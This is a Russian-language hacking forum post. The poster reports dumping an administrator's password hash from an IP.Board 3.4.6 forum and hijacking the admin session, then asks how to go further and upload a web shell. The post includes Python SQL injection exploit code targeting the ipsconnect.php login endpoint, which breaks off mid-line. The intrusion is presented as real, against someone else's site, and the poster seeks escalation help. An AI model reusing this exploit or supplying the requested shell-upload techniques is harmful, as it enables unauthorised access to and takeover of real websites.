Тема: IPB 3.4.6
Показать сообщение отдельно

  #1  
Старый 06.08.2015, 03:29
alucard6
Новичок
Регистрация: 06.08.2015
Сообщений: 2
Провел на форуме:
495

Репутация: 0
По умолчанию

Добрый день. Использовав exploit ниже, получилось сдампить аккаунт администратора на форуме (в зашифрованном виде). Так же получилось подменить сессию и попасть на форум под ним.

Подскажите пожалуйста, чего еще можно добиться без расшифровки пароля. Войти в админку не получатся, нужен пароль. UPDATE и INSERT INTO в sql запросе тоже не работают. Есть еще варианты заливки шела? Спасибо.

.SpoilerTarget" type="button">Spoiler: Exploit

[CODE]
#!/usr/bin/env python
# Sunday, November 09, 2014 - secthrowaway () safe-mail net
# IP.Board - http://sourceforge.net/projects/socksipy/
#import socks, socket
#socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9050)
#socket.socket = socks.socksocket
#

import urllib2, urllib

def inject(sql):
try:
urllib2.urlopen(urllib2.Request('%sinterface/ipsconnect/ipsconnect.php' % url, data="act=login&idType=id&id[]=-1&id[]=%s" % urllib.quote('-1) and 1!="\'" and extractvalue(1,concat(0x3a,(%s)))#\'' % sql), headers={"User-agent": ua}))
except urllib2.HTTPError, e:
if e.code == 503:
data = urllib2.urlopen(urllib2.Request('%scache/sql_error_latest.cgi' % url, headers={"User-agent": ua})).read()
txt = re.search("XPATH syntax error: '.*)'", data, re.MULTILINE)
if txt is not None:
return txt.group(1)
sys.exit('Error [3], received unexpected data:\n%s' % data)
sys.exit('Error [1]')
sys.exit('Error [2]')

def get(name, table, num):
sqli = 'SELECT %s FROM %s LIMIT %d,1' % (name, table, num)
s = int(inject('LENGTH((%s))' % sqli))
if s
 
Ответить с цитированием